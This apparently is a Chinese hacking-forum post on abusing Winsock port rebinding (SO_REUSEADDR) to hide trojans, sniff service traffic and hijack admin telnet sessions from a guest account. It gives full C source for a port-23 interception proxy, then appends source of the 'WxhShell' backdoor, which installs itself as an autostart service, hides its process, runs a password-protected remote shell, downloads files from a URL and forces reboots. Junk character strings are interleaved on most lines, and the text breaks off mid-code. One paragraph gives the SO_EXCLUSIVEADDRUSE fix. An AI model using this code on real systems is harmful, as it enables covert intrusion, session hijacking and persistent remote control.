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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pLL ^R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uj_u j!  
r?d601(fa  
  saddr.sin_family = AF_INET; d; \x 'h2  
NMY~f (x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @#ih;F  
39?iX'*p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PL<q|y  
*nDyB. (  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f+Nq?GvwBQ  
CDei+ q  
  这意味着什么?意味着可以进行如下的攻击: '6u;KIG  
I'G$:GX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o9~Z! &p  
KcP86H52I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S'vi +_  
DGdSu6s$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -8Z%5W`  
^r73(8{)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @Y*ONnl  
 3+"z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3.B|uN  
RH^8"%\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mKynp  
"y/GK1C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yWu80C8 q  
,6,#Lc  
  #include 2 5h.u>6@{  
  #include X:+;d8rCy  
  #include _QfA'32S  
  #include     Aki8#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k2N[B(&4J  
  int main() 5>4<_-Tm  
  { R1/ )Yy  
  WORD wVersionRequested; z^S=ji U++  
  DWORD ret; ;id0|x  
  WSADATA wsaData; )Z0pU\  
  BOOL val;  V3K  
  SOCKADDR_IN saddr; Ab -uK|<  
  SOCKADDR_IN scaddr; a /X@5kr{  
  int err; "#d}S)GlXM  
  SOCKET s; I :%(nKBK  
  SOCKET sc; em<(wJ-Y  
  int caddsize; ^.Vq0Qzy]  
  HANDLE mt; TIlcdpwXf  
  DWORD tid;   lM"@vNgK  
  wVersionRequested = MAKEWORD( 2, 2 ); !HM{imT  
  err = WSAStartup( wVersionRequested, &wsaData ); 8$-(%  
  if ( err != 0 ) { 828E^Q"<  
  printf("error!WSAStartup failed!\n"); 8.Wf^j$+{  
  return -1; %7pT\8E5  
  } >Rs:Fw|jro  
  saddr.sin_family = AF_INET; c&IIqT@Gb0  
   s2riayM9/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XKLkJZN  
[GZ%K`wx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xl@l<  
  saddr.sin_port = htons(23); ,*8}TIS(s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yb56nd  
  { $S|bD$e  
  printf("error!socket failed!\n"); |2AK~t|t  
  return -1; j%Y`2Ra  
  } V9NE kS  
  val = TRUE; & ,2XrXiFu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6<.Ma7)lA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]wWN~G)2lV  
  { `omZ'n)  
  printf("error!setsockopt failed!\n"); *xA&t)z(i  
  return -1; R @b[o7/  
  } WE 'afxgV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^aN;M\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?SRG;G1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kJq8"Klg  
?kX$Y{M}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1om:SHw  
  { i5w  
  ret=GetLastError(); XLz>h(w=  
  printf("error!bind failed!\n"); ihBlP\C  
  return -1; i&$L$zf,  
  }  Zm!T4pL  
  listen(s,2); )8p FPr  
  while(1) fB|rW~!v  
  { cU?A|'  
  caddsize = sizeof(scaddr); r ,D T>  
  //接受连接请求 2G<\Wz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =o;8xKj  
  if(sc!=INVALID_SOCKET) &]3_ .C  
  { $(K[W}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7RM$%'n \  
  if(mt==NULL) h7f&7v  
  { b=horvs/!  
  printf("Thread Creat Failed!\n"); d4t %/Uh  
  break; }&Ngh4/  
  } ;*5$xs&=_Z  
  } w,> ceu/  
  CloseHandle(mt); xDG8C39qrs  
  } gUwg\>UC  
  closesocket(s); b/HhGA0  
  WSACleanup(); wZ6LiYiHl  
  return 0; |jH- bm  
  }   kL\ FY  
  DWORD WINAPI ClientThread(LPVOID lpParam) n|sP0,$N1  
  { zBtlkBPu  
  SOCKET ss = (SOCKET)lpParam; P!3)-apP\  
  SOCKET sc; IWERn v!  
  unsigned char buf[4096]; .(^KA{  
  SOCKADDR_IN saddr; _TY9!:&}q  
  long num; {D J!T  
  DWORD val; \]dx;,T  
  DWORD ret; S\b[Bq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CtJ*:wF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F=!p7msRB  
  saddr.sin_family = AF_INET; luRtuXn[8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0+%{1JkJq  
  saddr.sin_port = htons(23); q">lP (t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *UhYX)J  
  { uOUgU$%zqH  
  printf("error!socket failed!\n"); UJMM&  
  return -1; s.`:9nj  
  } t>"UenJt-  
  val = 100; P|HxD0c^u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e=&,jg?K  
  { 8Q ba4kgL  
  ret = GetLastError(); `ECT8  
  return -1; ZmeSm& hQ_  
  } _rt+OzZ*L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hAX@|G.  
  { jL o(Uf  
  ret = GetLastError(); >?>@&A/  
  return -1; r0t4\d_&  
  } ^=`7]E[p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1=:=zyEEo  
  { l{<+V)  
  printf("error!socket connect failed!\n"); 7.mY@  
  closesocket(sc); CAg~K[  
  closesocket(ss); k8IhQ{@  
  return -1; sh;DCd  
  } 1c8Nr&Jl  
  while(1) E#}OIZ\S  
  { @i2"+_}*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /iURP-rl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kT)[<`p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V&)Jvx}^  
  num = recv(ss,buf,4096,0); v6=pV4k9  
  if(num>0) M|8vP53=q  
  send(sc,buf,num,0); 4FrP%|%E~  
  else if(num==0) 8*o*?1.  
  break; GPV=(}z  
  num = recv(sc,buf,4096,0); &iKy  
  if(num>0) ~ +DPq|-O  
  send(ss,buf,num,0); %d?.v_Hu0  
  else if(num==0) S;@nPzhc  
  break; XzLB#0  
  } &?X0;,5)  
  closesocket(ss); BwOIdz%]OY  
  closesocket(sc); 1.Kun !w  
  return 0 ; ayF+2(vch)  
  } xb{G:v  
r+ v?~m!  
{<ms;Oi'  
========================================================== p1t qwV  
g{PEplk  
下边附上一个代码,,WXhSHELL E$O-\)wY0  
-YvnX0j+  
========================================================== !UHWCJ< <w  
x -;tV=E}  
#include "stdafx.h" n vzk P{  
by}C;eN  
#include <stdio.h> ~]f6@n  
#include <string.h> Q$,AQyBlqc  
#include <windows.h> NJ]AxFG  
#include <winsock2.h> `>ppDQaS)W  
#include <winsvc.h> H!SFSgAu  
#include <urlmon.h> -t#YL  
*G rYB6MT  
#pragma comment (lib, "Ws2_32.lib") EKu%I~eM  
#pragma comment (lib, "urlmon.lib") ZZ'5BfI"I%  
lo!^h]iE!  
#define MAX_USER   100 // 最大客户端连接数 ;Aqj$ x  
#define BUF_SOCK   200 // sock buffer >lPWji'4;  
#define KEY_BUFF   255 // 输入 buffer (8"advc6  
_(7f0p  
#define REBOOT     0   // 重启 j xc^OsYj  
#define SHUTDOWN   1   // 关机 _:+hB9n s  
p~Wy`g-  
#define DEF_PORT   5000 // 监听端口  'ug:ic  
deLLqdZa  
#define REG_LEN     16   // 注册表键长度 w'uB&z4'  
#define SVC_LEN     80   // NT服务名长度 6W\G i>  
LX'z7fh  
// 从dll定义API JjMa   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i}Q"'?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W 6c]a/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); njxfBA:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9{*$[%d1  
) kMF~S|H  
// wxhshell配置信息 216=7O2F  
struct WSCFG { Wn%b}{9Fb  
  int ws_port;         // 监听端口 Cer&VMrQK  
  char ws_passstr[REG_LEN]; // 口令 = Ed0vw  
  int ws_autoins;       // 安装标记, 1=yes 0=no -UB XWl  
  char ws_regname[REG_LEN]; // 注册表键名 TJ_Wze-lQ  
  char ws_svcname[REG_LEN]; // 服务名 gpw,bV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OLS/3c z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X aE;i57$l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z ".Xroq~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \>$3'i=mQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rP{Jep!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v<3KxP'a  
=h\unQ1T  
}; 'MgYSP<  
sOJXloeO[6  
// default Wxhshell configuration Fy 1- >~  
struct WSCFG wscfg={DEF_PORT, ;rRV=$y  
    "xuhuanlingzhe", 38mC+%iC  
    1, b#nI#!p'  
    "Wxhshell", xyD2<?dGUb  
    "Wxhshell", 5>6:#.f%!e  
            "WxhShell Service", : X}n[K  
    "Wrsky Windows CmdShell Service", 9Iu"DOxX%  
    "Please Input Your Password: ", .H@b zm  
  1, ID: tTltcc  
  "http://www.wrsky.com/wxhshell.exe", KAJR.YNm  
  "Wxhshell.exe" xp?YM35  
    }; ^c<8|lK L@  
{E[t(Ig  
// 消息定义模块 j7BLMTF3v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VUi> ]v/e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )+Y"4?z~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XL[Dmu&  
char *msg_ws_ext="\n\rExit."; %Q]3`kxp  
char *msg_ws_end="\n\rQuit."; ^H0#2hFa  
char *msg_ws_boot="\n\rReboot..."; OO2uE ;( 3  
char *msg_ws_poff="\n\rShutdown..."; S]&:R)#@  
char *msg_ws_down="\n\rSave to "; n$ rgJ  
Xub*i^(]  
char *msg_ws_err="\n\rErr!"; ,j6 R/sg  
char *msg_ws_ok="\n\rOK!"; GT7&>}FJ)  
k|,Y_h0Y  
char ExeFile[MAX_PATH]; _\.4ofK(  
int nUser = 0; Ht:\ z;cu  
HANDLE handles[MAX_USER]; jF@BWPtF=  
int OsIsNt; JZdRAL2#v  
<Umr2Vw-  
SERVICE_STATUS       serviceStatus; K491QXG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XV}}A ^  
7YxVtN  
// 函数声明 8_VGB0~3i  
int Install(void); '&+]85_&$  
int Uninstall(void); x2sKj"2?@  
int DownloadFile(char *sURL, SOCKET wsh); k;B[wEW@  
int Boot(int flag); ?b:Pl{?  
void HideProc(void); +T&YYO8>5  
int GetOsVer(void); Pr:\zI  
int Wxhshell(SOCKET wsl); 7},oY"" 8  
void TalkWithClient(void *cs); i)$P1h  
int CmdShell(SOCKET sock); ?7]G )8G6  
int StartFromService(void); 0l3[?YtXc  
int StartWxhshell(LPSTR lpCmdLine); $4mCtonP=  
$q*a}d[Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 80=LT-%#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,k_"T.w  
q_6fr$-Qh  
// 数据结构和表定义 H $ %F0'0  
SERVICE_TABLE_ENTRY DispatchTable[] = Z($i+L%.  
{ nE +H)%p  
{wscfg.ws_svcname, NTServiceMain}, \%&A? D  
{NULL, NULL} 0 *;i]owV  
}; C1fd@6  
b}DC|?~M  
// 自我安装 XG*> yra`  
int Install(void) qyxd9Lk1  
{ Gy[anDE&  
  char svExeFile[MAX_PATH]; m_;fj~m  
  HKEY key; O,Tp,w T  
  strcpy(svExeFile,ExeFile); == E8^jYJw  
{i+ o'Lw  
// 如果是win9x系统,修改注册表设为自启动 s= ]NKJaQH  
if(!OsIsNt) { HUMy\u84H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gV-*z}`U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q1q 9W@H  
  RegCloseKey(key); +;\w'dBi,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }K={HW1>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'pT13RFD  
  RegCloseKey(key); ? )h8uf4  
  return 0; =IW!ZN_  
    } ^r-d.1  
  } Qu1&$oO  
} 4 ob?M:S  
else { "P0!cY8r  
.^M#BAt2  
// 如果是NT以上系统,安装为系统服务 R:+'"dBge  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ge/K.]>i  
if (schSCManager!=0)  ?HRS*  
{ "-djA,`  
  SC_HANDLE schService = CreateService Pro?xY$E)  
  ( %.hJDX\j  
  schSCManager, up+0-!AH  
  wscfg.ws_svcname, Y6&v&dA;  
  wscfg.ws_svcdisp, 'YB[4Q /0  
  SERVICE_ALL_ACCESS, ?Wz2J3A.2t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2GORGS%  
  SERVICE_AUTO_START, (c)=Do=  
  SERVICE_ERROR_NORMAL, 4b[bj").A  
  svExeFile, %L^(eTi[  
  NULL, NTD1QJ  
  NULL, zBl L98  
  NULL, _?:jZ1wZ  
  NULL, Arg/ge.y  
  NULL 5q*s_acQ  
  ); 'iF%mnJ  
  if (schService!=0) L {P'mG=4  
  { p:TE##  
  CloseServiceHandle(schService); JH{/0x#+  
  CloseServiceHandle(schSCManager); "5L?RkFi\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >t.Lc.  
  strcat(svExeFile,wscfg.ws_svcname); {?`7D:]`^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =y-yHRC7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .SjJG67OyA  
  RegCloseKey(key); F \ls]luN  
  return 0; ]:#=[ CH  
    } J/jkb3  
  } \?]U*)B.r  
  CloseServiceHandle(schSCManager); )2RRa^=&  
} cz,QP'g  
} ]7Du/)$  
Cyd/HTNh<  
return 1; ]}PXN1(  
} pHmqwB~|  
XrM+DQ;  
// 自我卸载 Gn=b_!  
int Uninstall(void) 4P[MkMoC  
{ WM`3QJb  
  HKEY key; 5"@>>"3U  
d_d&su E  
if(!OsIsNt) { =TDKU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }< H>9iJ:  
  RegDeleteValue(key,wscfg.ws_regname); m_*wqNFA6  
  RegCloseKey(key); &muBSQ-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jhm/ <=  
  RegDeleteValue(key,wscfg.ws_regname); wv\K  
  RegCloseKey(key); 3!b $R?kZ  
  return 0; h\UKm|BZ  
  } lwq:0Rj@Q  
} L4Zt4Yuw  
} 6w7;  
else { beBG40  
0t? o6 e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o3dqsQE%  
if (schSCManager!=0) )][U6e  
{ I4G0 !"T+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LWv<mtuYf  
  if (schService!=0) b'\Q/;oz>  
  { T8a' 6otc  
  if(DeleteService(schService)!=0) { y<kUGsD  
  CloseServiceHandle(schService); &'$Bk5D@G  
  CloseServiceHandle(schSCManager); ,Q56A#Y\  
  return 0; X#ttDB  
  } 3T8d?%.l  
  CloseServiceHandle(schService); f-enF)z  
  } salC4z3  
  CloseServiceHandle(schSCManager); ySr,HXz  
} EW*sTI3  
} v1 8<~  
%jzTQ+.%]^  
return 1; VIz(@  
} #+1|O;PB#  
KE3`5Y!  
// 从指定url下载文件 /IWA U)A0  
int DownloadFile(char *sURL, SOCKET wsh) YK6LJv}  
{ <4; nq~  
  HRESULT hr; 04-_ K  
char seps[]= "/"; Jz` jN~  
char *token; ).^d3Kp  
char *file; 4j=3'Z|  
char myURL[MAX_PATH]; M5h r0 R{  
char myFILE[MAX_PATH]; IFTNr2I  
20V~?xs~  
strcpy(myURL,sURL); Zu,:}+niU  
  token=strtok(myURL,seps); `.MZ,Xhqi"  
  while(token!=NULL) (U.Go/A#wE  
  { ?Z 2,?G  
    file=token; iSCkV2  
  token=strtok(NULL,seps); `-uE(qp  
  } ^wolY0p  
!G-+O#W`  
GetCurrentDirectory(MAX_PATH,myFILE); @}H u)HO  
strcat(myFILE, "\\"); ;stuTj@vH  
strcat(myFILE, file); k`m7j[A]l  
  send(wsh,myFILE,strlen(myFILE),0); +r3)\L{U  
send(wsh,"...",3,0); oIE 1j?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :EV.nD7  
  if(hr==S_OK) $XhMI;h  
return 0; 8X,6U_>#a  
else P`lv_oV  
return 1; $(9QnH1KY  
.2f vRN92  
} 7<xnE]jdq  
}qiZ%cT.G  
// 系统电源模块 %XG m\p  
int Boot(int flag) @wcF#?J  
{ 309 pl  
  HANDLE hToken; O6hzOyNX@  
  TOKEN_PRIVILEGES tkp; /xk7Z q  
RE;A 0E_3  
  if(OsIsNt) { " #iJ/vy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _p*9LsN$L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I1fpX |  
    tkp.PrivilegeCount = 1; j+_fHADq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BX?DI-o^h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *DPX4 P  
if(flag==REBOOT) { KrpIH6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7.h{"xOx{  
  return 0; 2%pED xui  
} '0D$C},^|8  
else { xG/Q%A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J{ju3jo  
  return 0; ]j3>=Jb;  
} 13s/m&  
  } w ~*@TG  
  else { H.ZIRt !RB  
if(flag==REBOOT) { 2$Mnwxfk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |'?vlUCd  
  return 0; `NW/Z/_  
} V.*TOU{{xh  
else { &zJI~R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P1mg;!tq  
  return 0; >1s a*Wf  
} U+!RIF[Je  
} "0CFvN'4  
<K[y~9u  
return 1; 63W;N7@  
} j*DPW)RkKX  
LlX)xJ  
// win9x进程隐藏模块 |C4fg6XDL  
void HideProc(void) ^ #:;6^Su  
{ 6j6CA?|  
}:#WjH^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LL(xi )  
  if ( hKernel != NULL ) 8S1@,O,  
  { Pp_ 4B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0zr27ko  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A"JdG%t>.h  
    FreeLibrary(hKernel); fa/S!%}fO  
  }  \(\a=  
EwPrh  
return; q| D5 A|)  
} aS [[ AL  
L )JB^cxf  
// 获取操作系统版本 .t@|2  
int GetOsVer(void) ,clbD4  
{ #kC~qux^  
  OSVERSIONINFO winfo; 4eHSAN"$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,sL'T[tuiU  
  GetVersionEx(&winfo); Z Ts*Y,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y74Q(  
  return 1; ^@^8iZ  
  else ;\RV C 7  
  return 0; c[Fc3  
} _KH91$iW8m  
,R{&x7  
// 客户端句柄模块 Sb`[+i' `  
int Wxhshell(SOCKET wsl) 6^b)Q(Edut  
{ 64/ZfXD  
  SOCKET wsh; *O_fw 0jV  
  struct sockaddr_in client; \L*%?~  
  DWORD myID; \jC) ;mk  
9lYKG ^#D  
  while(nUser<MAX_USER) { W,5]-  
{ uFWA] ":is  
  int nSize=sizeof(client); s%D%c;.|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DN2 ]Y'  
  if(wsh==INVALID_SOCKET) return 1; s>>&3jfM  
(e7!p=D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d {!P c<  
if(handles[nUser]==0) v?`R8  
  closesocket(wsh); Q#p)?:o/  
else *wTX  
  nUser++; W3.[d->X  
  } !K-1tp$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0nwi5  
<j'K7We/tP  
  return 0; rbd0`J9fq  
} Dd?G4xUG  
u n v:sV#b  
// 关闭 socket JG!B3^qB  
void CloseIt(SOCKET wsh) >+%#m'Y&&  
{ ~wa4kS<>  
closesocket(wsh); 8:TX9`,  
nUser--; 7:UeE~ uB:  
ExitThread(0); d7V/#34  
} s 4`-mIa  
-N' (2'  
// 客户端请求句柄 jW:7PS  
void TalkWithClient(void *cs) :4{ `c.S  
{ E/:U,u{  
#z(:n5$F  
  SOCKET wsh=(SOCKET)cs; %],BgLhS.  
  char pwd[SVC_LEN]; )O[8 D  
  char cmd[KEY_BUFF]; ?IGp?R^j"  
char chr[1]; |nQfgl=V  
int i,j; ~-'2jb*8  
']nIa7  
  while (nUser < MAX_USER) { TQn!MUj/^  
5=TgOS]R  
if(wscfg.ws_passstr) { r8m}B#W7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a OmG,+o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J*zzjtY( 1  
  //ZeroMemory(pwd,KEY_BUFF); Al yJ!f"Y  
      i=0; $>/d)o  
  while(i<SVC_LEN) { @)b'3~ D  
\Tz|COG5h\  
  // 设置超时 q'jOI_b  
  fd_set FdRead; ei= 4u'  
  struct timeval TimeOut; j3sz"(  
  FD_ZERO(&FdRead); (pELd(*Ga  
  FD_SET(wsh,&FdRead); ,buX|  
  TimeOut.tv_sec=8; IUOf/mM5  
  TimeOut.tv_usec=0; MD[hqshoh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WM+8<|)n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s\d3u`G  
<f7 O3 >  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .BP d06y  
  pwd=chr[0]; &kb~N-  
  if(chr[0]==0xd || chr[0]==0xa) { ci;2XLAM  
  pwd=0; mP^B2"|q  
  break; #eJfwc1JY  
  } ?xaUWD  
  i++; ;2kQ)Bq"  
    } 2VV>?s  
(XOz_K6c%K  
  // 如果是非法用户,关闭 socket iF`_-t/k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a?-Jj\q  
} m'2F#{  
Ft>B% -;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  hlVC+%8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b()8l'x_|K  
wiI@DJ>E  
while(1) { ^y>V-R/N  
g=td*S  
  ZeroMemory(cmd,KEY_BUFF); M{L<aYe  
0L>3 i8'  
      // 自动支持客户端 telnet标准   @ 51!3jeu  
  j=0; Oem1=QpaC  
  while(j<KEY_BUFF) { ~|KqG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R6<'J?k  
  cmd[j]=chr[0]; 8$-MUF,  
  if(chr[0]==0xa || chr[0]==0xd) { 6Jgl"Jw8  
  cmd[j]=0; j"jssbu}  
  break; 0Px Hf*  
  } JlSqTfA  
  j++; yD<#Q\,  
    } t3$cX_  
ytj});,>  
  // 下载文件 qBk[Afjgz  
  if(strstr(cmd,"http://")) { +vZYuEq_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4b}p[9k  
  if(DownloadFile(cmd,wsh)) xiW}P% bf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0/~p1SSun  
  else [ &Wy $  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y's=31G@  
  } }P2*MrkcHB  
  else { 0-p^o A  
Ow-ejo  
    switch(cmd[0]) { lz=DGm  
  pKLcg"{[F  
  // 帮助 W<<G  'Km  
  case '?': { 6`9QGi,)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \WE/#To  
    break; 0faf4LzU!  
  } NL.3qx  
  // 安装 ok--Jyhv#  
  case 'i': { I 6WHC*  
    if(Install()) ;FlDRDZ%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @IL@|Srs8  
    else y6am(ugE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q8HNST($?  
    break; 0^{Tq0Ri[  
    } YEV;GFI1  
  // 卸载 86%k2~L  
  case 'r': { dZ|bw0~_!  
    if(Uninstall()) 1N),k5I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T \34<+n1N  
    else d)48m}[:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 70avr)OM  
    break; Cdl"TZ<  
    } O#tmB?n*  
  // 显示 wxhshell 所在路径 tln}jpCw  
  case 'p': { <c@dE  
    char svExeFile[MAX_PATH]; 4PSbr$  
    strcpy(svExeFile,"\n\r"); TFbc@rfB  
      strcat(svExeFile,ExeFile); n}NUe`E_h  
        send(wsh,svExeFile,strlen(svExeFile),0); tqA-X[^  
    break; oItC;T  
    } f$ /C.E  
  // 重启 g?1bEOA!  
  case 'b': { [ GknE#p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UHY)+6qt]  
    if(Boot(REBOOT)) {(-TWh7V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *)r_Y|vg  
    else { (q"S0{  
    closesocket(wsh); iMVQt1/  
    ExitThread(0); qUe2(/TQu  
    } <mLU-'c@  
    break; v-$X1s  
    } !6.LSY,E  
  // 关机 !h&h;m/c  
